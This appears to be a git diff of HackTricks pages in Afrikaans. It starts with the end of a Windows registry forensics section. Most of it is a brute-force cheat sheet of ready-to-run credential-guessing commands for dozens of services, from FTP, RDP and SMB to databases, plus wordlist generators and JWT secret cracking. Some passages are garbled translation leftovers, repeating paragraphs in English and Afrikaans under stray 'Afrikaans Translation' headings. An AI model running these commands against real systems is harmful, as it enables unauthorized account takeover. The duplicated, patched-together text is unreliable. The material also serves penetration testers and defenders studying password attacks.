- Die register bevat uitgebreide data oor netwerk-konfigurasies, insluitend **netwerksoorte (draadloos, kabel, 3G)** en **netwerkkategorieë (Openbaar, Privaat/Tuis, Domein/Werk)**, wat belangrik is vir die verstaan van netwerksekuriteitsinstellings en toestemmings.
|
||||
|
||||
### Kliëntkant-caching (CSC)
|
||||
- **CSC** verbeter die toegang tot lêers buite lyn deur kopieë van gedeelde lêers te kas. Verskillende **CSCFlags**-instellings beheer hoe en watter lêers gekas word, wat die prestasie en gebruikerservaring beïnvloed, veral in omgewings met onderbroke konnektiwiteit.
|
||||
|
||||
### Outomatiese beginprogramme
|
||||
- Programme wat in verskillende `Run`- en `RunOnce`-registernøkke gelys word, word outomaties by opstart geloods, wat die stelselopstarttyd beïnvloed en moontlik punte van belang kan wees om kwaadwillige sagteware of ongewenste sagteware te identifiseer.
|
||||
|
||||
### Shellbags
|
||||
- **Shellbags** stoor nie net voorkeure vir vouer-aansigte nie, maar verskaf ook forensiese bewyse van vouertoegang selfs as die vouer nie meer bestaan nie. Dit is van onskatbare waarde vir ondersoeke en onthul gebruikersaktiwiteit wat nie duidelik is deur ander middels nie.
|
||||
|
||||
### USB-inligting en forensika
|
||||
- Die besonderhede wat in die register oor USB-toestelle gestoor word, kan help om vas te stel watter toestelle aan 'n rekenaar gekoppel was, moontlik 'n toestel aan gevoelige lêeroordragte of ongemagtigde toegangsgevalle te koppel.
|
||||
|
||||
### Volume-seriëlenommer
|
||||
- Die **Volume-seriëlenommer** kan van kritieke belang wees vir die opsporing van die spesifieke instansie van 'n lêersisteem, wat nuttig is in forensiese scenario's waar lêeroorsprong oor verskillende toestelle vasgestel moet word.
|
||||
|
||||
### **Afsluitingsbesonderhede**
|
||||
- Afsluitingstyd en telling (laasgenoemde slegs vir XP) word in **`System\ControlSet001\Control\Windows`** en **`System\ControlSet001\Control\Watchdog\Display`** gehou.
|
||||
|
||||
### **Netwerk-konfigurasie**
|
||||
- Vir gedetailleerde netwerkinterface-inligting, verwys na **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- Eerste en laaste netwerkverbindings-tye, insluitend VPN-verbindings, word gelog onder verskillende paaie in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
|
||||
### **Gedeelde vouers**
|
||||
- Gedeelde vouers en instellings is onder **`System\ControlSet001\Services\lanmanserver\Shares`**. Die Kliëntkant-caching (CSC) instellings bepaal die beskikbaarheid van lêers buite lyn.
|
||||
|
||||
### **Programme wat outomaties begin**
|
||||
- Paaie soos **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** en soortgelyke inskrywings onder `Software\Microsoft\Windows\CurrentVersion` beskryf programme wat by opstart ingestel is om uit te voer.
|
||||
|
||||
### **Soektogte en getikte paaie**
|
||||
- Ontdekkingsreisiger-soektogte en getikte paaie word in die register onder **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** vir WordwheelQuery en TypedPaths, onderskeidelik, gevolg.
|
||||
|
||||
### **Onlangse dokumente en Office-lêers**
|
||||
- Onlangse dokumente en Office-lêers wat geopen is, word aangeteken in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` en spesifieke Office-weergawepaaie.
|
||||
|
||||
### **Mees onlangs gebruikte (MRU) items**
|
||||
- MRU-lyste, wat onlangse lêerpaaie en opdragte aandui, word gestoor in verskillende `ComDlg32`- en `Explorer`-subnøkke onder `NTUSER.DAT`.
|
||||
|
||||
### **Gebruikersaktiwiteitopsporing**
|
||||
- Die Gebruikerhulp-funksie hou gedetailleerde toepassingsgebruikstatistieke by, insluitend uitvoertelling en laaste uitvoertyd, by **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
|
||||
### **Shellbags-analise**
|
||||
- Shellbags, wat vouertoegangsdetails onthul, word gestoor in `USRCLASS.DAT` en `NTUSER.DAT` onder `Software\Microsoft\Windows\Shell`. Gebruik **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** vir analise.
|
||||
|
||||
### **USB-toestelgeskiedenis**
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** en **`HKLM\SYSTEM\ControlSet001\Enum\USB`** bevat ryk besonderhede oor gekoppelde USB-toestelle, insluitend vervaardiger, produknaam en koppeltydstempels.
|
||||
- Die gebruiker wat met 'n spesifieke USB-toestel
|
|
@ -1,4 +1,4 @@
|
|||
# Brute Force - Spiekbrief
|
||||
# Brute Force - CheatSheet
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -37,13 +37,14 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
|
||||
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
|
||||
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||
|
||||
## **Skep jou eie Woordeboeke**
|
||||
|
||||
Vind soveel moontlik inligting oor die teiken en genereer 'n aangepaste woordeboek. Gereedskappe wat kan help:
|
||||
|
||||
### Crunch
|
||||
|
||||
```bash
|
||||
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
|
||||
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
|
||||
|
@ -54,21 +55,27 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
|||
^ Special characters including spac
|
||||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
|
||||
### Cewl
|
||||
|
||||
Cewl is 'n hulpmiddel wat gebruik word om woorde uit 'n tekslêer te onttrek en 'n woordelys te skep vir aanvalle met kragaanvalle. Dit kan gebruik word om sosiale ingenieurswese-aanvalle te vergemaklik deur inligting te versamel vir doelwitspesifieke aanvalle.
|
||||
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
Genereer wagwoorde gebaseer op jou kennis van die slagoffer (name, datums...)
|
||||
|
||||
```
|
||||
python3 cupp.py -h
|
||||
```
|
||||
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
'n Woordelysgeneratorwerktuig wat jou toelaat om 'n stel woorde te voorsien, wat jou die moontlikheid gee om verskeie variasies van die gegewe woorde te skep, wat 'n unieke en ideale woordelys skep om te gebruik met betrekking tot 'n spesifieke teiken.
|
||||
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
|
@ -87,6 +94,7 @@ Generated 67885 lines.
|
|||
|
||||
Finished in 0.920s.
|
||||
```
|
||||
|
||||
### [pydictor](https://github.com/LandGrey/pydictor)
|
||||
|
||||
### Woordlyste
|
||||
|
@ -115,6 +123,7 @@ Kry Vandaag Toegang:
|
|||
Gereël in alfabetiese volgorde volgens diensnaam.
|
||||
|
||||
### AFP
|
||||
|
||||
```bash
|
||||
nmap -p 548 --script afp-brute <IP>
|
||||
msf> use auxiliary/scanner/afp/afp_login
|
||||
|
@ -124,18 +133,23 @@ msf> set PASS_FILE <PATH_PASSWDS>
|
|||
msf> set USER_FILE <PATH_USERS>
|
||||
msf> run
|
||||
```
|
||||
|
||||
### AJP
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but can be effective, especially if the password is weak. Automated tools can be used to speed up the process.
|
||||
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
```
|
||||
|
||||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM en Solace)
|
||||
|
||||
```bash
|
||||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||||
```
|
||||
|
||||
### Cassandra
|
||||
|
||||
#### Brute Force
|
||||
|
@ -145,111 +159,136 @@ Brute force attacks involve trying all possible combinations of a password until
|
|||
#### Dictionary Attack
|
||||
|
||||
A dictionary attack involves using a list of commonly used passwords or words from a dictionary to try to guess a password. This method is more efficient than brute force as it targets likely passwords first. It is essential to use unique and uncommon passwords to protect against dictionary attacks.
|
||||
|
||||
```bash
|
||||
nmap --script cassandra-brute -p 9160 <IP>
|
||||
# legba ScyllaDB / Apache Casandra
|
||||
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
|
||||
```
|
||||
|
||||
### CouchDB
|
||||
|
||||
Brute-force attacks against CouchDB are relatively simple to execute. The most common method is to use a tool like Hydra to repeatedly try different username and password combinations until the correct one is found. This can be effective if the credentials are weak or if the server is not properly configured to prevent multiple login attempts. It is important to note that brute-force attacks can be detected and blocked by CouchDB, so it is essential to use this technique responsibly and with proper authorization.
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
```
|
||||
|
||||
### Docker Register
|
||||
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||
```
|
||||
|
||||
### Elasticsearch
|
||||
|
||||
#### Brute Force Attack
|
||||
|
||||
'n Brute Force-aanval is 'n aanval wat poog om in te log op 'n Elasticsearch-diens deur verskeie kombinasies van gebruikersname en wagwoorde te probeer. Hierdie aanval is gewoonlik baie tydrowend, maar kan suksesvol wees as swak of maklik te raai wagwoorde gebruik word.
|
||||
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
|
||||
### FTP
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack passwords and encryption keys.
|
||||
Brute force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack passwords and encryption keys.
|
||||
|
||||
#### Dictionary Attack
|
||||
|
||||
A dictionary attack is a type of brute force attack where a predefined list of passwords is used. This list can be a combination of common passwords, dictionary words, or previously leaked passwords.
|
||||
A dictionary attack is a type of brute force attack where a predefined list of passwords is used. This list can be a combination of common passwords, dictionary words, or previously leaked passwords.
|
||||
|
||||
#### Hydra
|
||||
|
||||
Hydra is a popular tool used for performing brute force and dictionary attacks. It supports multiple protocols, including FTP, SSH, HTTP, and many others.
|
||||
Hydra is a popular tool used for performing brute force and dictionary attacks. It supports multiple protocols, including FTP, SSH, HTTP, and many others.
|
||||
|
||||
#### Medusa
|
||||
|
||||
Medusa is another tool similar to Hydra, used for conducting brute force attacks. It is known for its speed and efficiency in cracking passwords.
|
||||
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||||
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
||||
```
|
||||
|
||||
### HTTP Generiese Brute
|
||||
|
||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||
|
||||
### HTTP Basiese Verifisering
|
||||
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||
# Use https-get mode for https
|
||||
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
||||
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
|
||||
```
|
||||
|
||||
### HTTP - NTLM
|
||||
|
||||
Brute-force attacks against HTTP NTLM authentication can be performed using tools like `Hydra` or `Medusa`. These tools can be used to crack the NTLM hashes by trying different password combinations until the correct one is found. It is important to note that brute-forcing NTLM hashes can be time-consuming and resource-intensive, so it is recommended to use a wordlist or password dictionary to increase the chances of success.
|
||||
|
||||
```bash
|
||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
```
|
||||
|
||||
### HTTP - Pos Vorm
|
||||
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
```
|
||||
|
||||
Vir http**s** moet jy verander van "http-post-form" na "**https-post-form"**
|
||||
|
||||
### **HTTP - CMS --** (W)ordpress, (J)oomla of (D)rupal of (M)oodle
|
||||
|
||||
```bash
|
||||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
||||
```
|
||||
|
||||
### IMAP
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against IMAP are typically carried out using tools like Hydra or Nmap. These tools allow an attacker to systematically check a list of passwords against a targeted IMAP server until the correct one is found. The success of a brute force attack depends on the complexity of the password and the effectiveness of account lockout policies on the server.
|
||||
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
nmap -sV --script imap-brute -p <PORT> <IP>
|
||||
legba imap --username user --password data/passwords.txt --target localhost:993
|
||||
```
|
||||
|
||||
### IRC
|
||||
|
||||
IRC (Internet Relay Chat) is 'n protokol wat gebruik word vir real-time kommunikasie en is baie gebruik in die hacker-gemeenskap vir kommunikasie en samevoeging van inligting.
|
||||
|
||||
```bash
|
||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||
```
|
||||
|
||||
### ISCSI
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be used to crack the login credentials of an iSCSI target. It is important to use strong and complex passwords to mitigate the risk of a successful brute force attack.
|
||||
|
||||
```bash
|
||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||
```
|
||||
|
||||
### JWT
|
||||
|
||||
#### Afrikaans Translation:
|
||||
|
||||
```bash
|
||||
#hashcat
|
||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||
|
@ -272,32 +311,41 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
|
|||
#https://github.com/lmammino/jwt-cracker
|
||||
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
||||
```
|
||||
|
||||
### LDAP
|
||||
|
||||
LDAP (Lightweight Directory Access Protocol) is 'n protokol wat gebruik word om inligting uit 'n gidsdiens te onttrek of daarin te plaas. LDAP-bruteforce-aanvalle kan uitgevoer word om geldige gebruikersname en wagwoordkombinasies te vind deur herhaaldelik te probeer om in te teken met verskillende kombinasies.
|
||||
|
||||
```bash
|
||||
nmap --script ldap-brute -p 389 <IP>
|
||||
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
||||
```
|
||||
|
||||
### MQTT
|
||||
|
||||
MQTT (Message Queuing Telemetry Transport) is 'n ligte boodskap protokol wat ontwerp is vir klein toestelle met beperkte verwerking en bandwydte hulpbronne. MQTT word dikwels gebruik vir die kommunikasie tussen toestelle in die Internet of Things (IoT) konteks.
|
||||
|
||||
```
|
||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||||
```
|
||||
|
||||
### Mongo
|
||||
|
||||
```bash
|
||||
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||||
use auxiliary/scanner/mongodb/mongodb_login
|
||||
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
||||
```
|
||||
|
||||
### MSSQL
|
||||
|
||||
Brute-force attacks against MSSQL servers are typically performed using tools like Hydra, Ncrack, or Metasploit. These tools allow attackers to systematically check a large number of passwords until the correct one is found. It is important to use strong and complex passwords to protect against brute-force attacks.
|
||||
|
||||
```bash
|
||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||
```
|
||||
|
||||
### MySQL
|
||||
|
||||
#### Brute Force
|
||||
|
@ -309,6 +357,7 @@ Brute force attacks involve trying all possible combinations of usernames and pa
|
|||
#### Geweldsaksie
|
||||
|
||||
Geweldsaksies behels om alle moontlike kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik om ongemagtigde toegang tot MySQL-databasisse te verkry. Dit is noodsaaklik om sterk en unieke wagwoorde te gebruik om teen geweldsaksies te beskerm.
|
||||
|
||||
```bash
|
||||
# hydra
|
||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||
|
@ -322,9 +371,11 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
|
|||
#Legba
|
||||
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
||||
```
|
||||
|
||||
### OracleSQL
|
||||
|
||||
Brute-force attacks against OracleSQL databases are typically performed using tools like Hydra or Metasploit. These tools can automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and resource-intensive, and may not always be successful. Additionally, they can potentially lock out user accounts if too many incorrect login attempts are made.
|
||||
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
|
@ -348,14 +399,19 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
|||
|
||||
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
||||
```
|
||||
|
||||
Om **oracle\_login** met **patator** te gebruik, moet jy dit **installeer**:
|
||||
|
||||
```bash
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
[Afgeleë OracleSQL-hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**weergawes 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** en **11.2.0.3**):
|
||||
|
||||
[Afgeleë OracleSQL-hash bruteforce](https://github.com/carlospolop/hacktricks/blob/af/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**weergawes 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** en **11.2.0.3**):
|
||||
|
||||
```bash
|
||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||
```
|
||||
|
||||
### POP
|
||||
|
||||
#### Brute Force
|
||||
|
@ -365,6 +421,7 @@ Brute force is a common technique used to gain unauthorized access to a system b
|
|||
#### Mitigation
|
||||
|
||||
To mitigate brute force attacks, it is essential to use strong, complex passwords that are difficult to guess. Additionally, implementing account lockout policies after a certain number of failed login attempts can help prevent attackers from gaining access. Using multi-factor authentication can also add an extra layer of security to protect against brute force attacks.
|
||||
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||
|
@ -375,11 +432,12 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
# SSL
|
||||
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
|
||||
```
|
||||
|
||||
### PostgreSQL
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is commonly used to crack passwords and gain unauthorized access to systems or accounts.
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is commonly used to crack passwords and gain unauthorized access to systems or accounts.
|
||||
|
||||
#### Brute Force Prevention
|
||||
|
||||
|
@ -392,6 +450,7 @@ To prevent brute force attacks in PostgreSQL, you can implement the following me
|
|||
5. **Monitoring and Logging**: Monitor and log login attempts to detect and respond to suspicious activities.
|
||||
|
||||
By implementing these preventive measures, you can enhance the security of your PostgreSQL database and protect it from brute force attacks.
|
||||
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||
|
@ -401,58 +460,73 @@ use auxiliary/scanner/postgres/postgres_login
|
|||
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
||||
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
|
||||
```
|
||||
|
||||
### PPTP
|
||||
|
||||
Jy kan die `.deb` pakkie aflaai om te installeer vanaf [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
||||
|
||||
```bash
|
||||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||
```
|
||||
|
||||
### RDP
|
||||
|
||||
```bash
|
||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
||||
```
|
||||
|
||||
### Redis
|
||||
|
||||
Redis is 'n in-memory data store wat dikwels gebruik word vir caching en sessiebeheer in webtoepassings. Dit kan ook gebruik word vir die opberg van ander tipes data soos sleutel-waarde pare. Redis kan blootgestel word aan aanvalle soos brute force aanvalle, dus is dit belangrik om sterk wagwoorde te gebruik en toegang tot Redis te beperk tot vertroude bronne.
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
||||
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
|
||||
```
|
||||
|
||||
### Rexec
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force is a common technique used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be time-consuming but is often effective against weak passwords. Automated tools like Hydra and Medusa can be used to automate the brute force process.
|
||||
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
|
||||
### Rlogin
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force is a common technique used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be used to target the Rlogin service, attempting to log in without proper credentials. It is important to note that brute force attacks can be detected and prevented by implementing strong password policies, account lockout mechanisms, and monitoring for unusual login patterns.
|
||||
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
|
||||
### Rsh
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but can be effective if the password is weak. Tools like Hydra and Medusa can automate the process of brute forcing passwords. It is important to note that brute force attacks can be detected and prevented by implementing measures such as account lockouts after multiple failed login attempts.
|
||||
|
||||
```bash
|
||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||
```
|
||||
|
||||
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||
|
||||
### Rsync
|
||||
|
||||
```bash
|
||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||
```
|
||||
|
||||
### RTSP
|
||||
|
||||
#### Brute Force
|
||||
|
@ -464,22 +538,28 @@ Brute force attacks involve trying all possible combinations of usernames and pa
|
|||
#### Gewelddadige Aanval
|
||||
|
||||
Gewelddadige aanvalle behels om alle moontlike kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik om ongemagtigde toegang tot stelsels en rekeninge te verkry. Dit is belangrik om sterk en unieke wagwoorde te gebruik om teen gewelddadige aanvalle te beskerm.
|
||||
|
||||
```bash
|
||||
hydra -l root -P passwords.txt <IP> rtsp
|
||||
```
|
||||
|
||||
### SFTP
|
||||
|
||||
```bash
|
||||
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
||||
# Try keys from a folder
|
||||
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||
```
|
||||
|
||||
### SNMP
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/snmp/snmp_login
|
||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
||||
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
||||
```
|
||||
|
||||
### SMB
|
||||
|
||||
#### Brute Force
|
||||
|
@ -491,36 +571,42 @@ Brute force attacks involve trying all possible combinations of usernames and pa
|
|||
#### Brute Force
|
||||
|
||||
Brute force-aanvalle behels om alle moontlike kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik om ongemagtigde toegang tot stelsels en rekeninge te verkry. Dit is belangrik om sterk en unieke wagwoorde te gebruik om teen brute force-aanvalle te beskerm.
|
||||
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
|
||||
```
|
||||
|
||||
### SMTP
|
||||
|
||||
SMTP (Simple Mail Transfer Protocol) is 'n protokol wat gebruik word vir die stuur van e-posse oor 'n netwerk.
|
||||
|
||||
```bash
|
||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
|
||||
```
|
||||
|
||||
### SOCKS
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is often used when other techniques, such as dictionary attacks, fail to crack a password. Brute force attacks can be time-consuming but are effective against weak passwords.
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is often used when other techniques, such as dictionary attacks, fail to crack a password. Brute force attacks can be time-consuming but are effective against weak passwords.
|
||||
|
||||
#### Afrikaans Translation
|
||||
|
||||
#### Geweldenaarskrag
|
||||
|
||||
Geweldenaarskragaanvalle behels om alle moontlike kombinasies van 'n wagwoord te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik wanneer ander tegnieke, soos woordeboekaanvalle, nie slaag om 'n wagwoord te kraak nie. Geweldenaarskragaanvalle kan tydrowend wees, maar is effektief teen swak wagwoorde.
|
||||
|
||||
```bash
|
||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
||||
# With alternative address
|
||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
|
||||
```
|
||||
|
||||
### SQL Server
|
||||
|
||||
Brute-force attacks against SQL Server can be performed using tools like Hydra, Ncrack, or custom scripts. These tools allow you to automate the process of trying different combinations of usernames and passwords until the correct one is found.
|
||||
|
@ -530,6 +616,7 @@ Brute-force attacks against SQL Server can be performed using tools like Hydra,
|
|||
### SQL Server
|
||||
|
||||
Brute-force aanvalle teen SQL Server kan uitgevoer word met behulp van gereedskap soos Hydra, Ncrack, of aangepaste skripte. Hierdie gereedskap maak dit moontlik om die proses te outomatiseer deur verskillende kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word.
|
||||
|
||||
```bash
|
||||
#Use the NetBIOS name of the machine as domain
|
||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -538,11 +625,12 @@ medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq
|
|||
